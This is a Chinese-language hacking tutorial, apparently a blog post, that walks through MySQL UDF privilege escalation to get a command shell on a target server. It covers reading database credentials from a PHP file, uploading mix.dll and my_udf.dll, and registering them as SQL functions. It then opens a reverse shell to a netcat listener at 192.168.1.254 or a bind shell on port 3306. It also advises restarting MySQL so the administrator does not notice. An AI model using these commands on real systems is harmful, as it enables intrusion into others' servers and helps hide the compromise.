一般来说连接mysql的帐户密码很好找,随便编辑一个php文件,就看到了。如图2
看到了吧,用户名:root 密码:123456 库名:php 然后怎么办呢?先用sql query 建立连接,如图3
哈连接成功了,现在开始将我们的提权用滴东东:mix.dll my_udf.dll上传上去先.ok,传好了,mix.dll用于反弹连接,my_udf.dll是正向连接,直接用连接对方的3306端口然后输入密码就可获得cmdshell。好,不多说了,传上去之后呢就执行以下sql语句create function mixconnect returns string soname 'd:\\php\\php\\mix.dll'; 来注册函数.
出现sql语句成功执行!如图4
离拿到cmdshell已经不远了,我们先用nc在本地监听一个端口先,nc -l -p 1234 (这个我想不用截图了吧)而后执行语句:select mixconnect('192.168.1.254','1234'); 来激活那个函数,如图5
执行成功,然后看看我们的nc有反映没,如图6
成功得到cmshell,不过这时对方的mysql已经假死咯,我们要把mysql服务进程给kill掉,然后重新启动mysql服务才行,不然管理员发现网站运行不了了,那就。。。。如果该服务器不允许连接任何外部ip和端口,而他的3306端口却是对外开的!这时my_udf.dll就该上场了,使用方法和mix一样,连接mysql成功后执行如下语句:create function my_udfdoor returns string soname 'd:\\php\\php\my_udf.dll'; 执行语句成功后,然后我们就开始激活这个函数,输入语句:select my_udfdoor (''); 然后用nc连接3306端口,然后输入f**k 就可以得到一个cmdshell了如图7
ok成功!测试结束咯
发表评论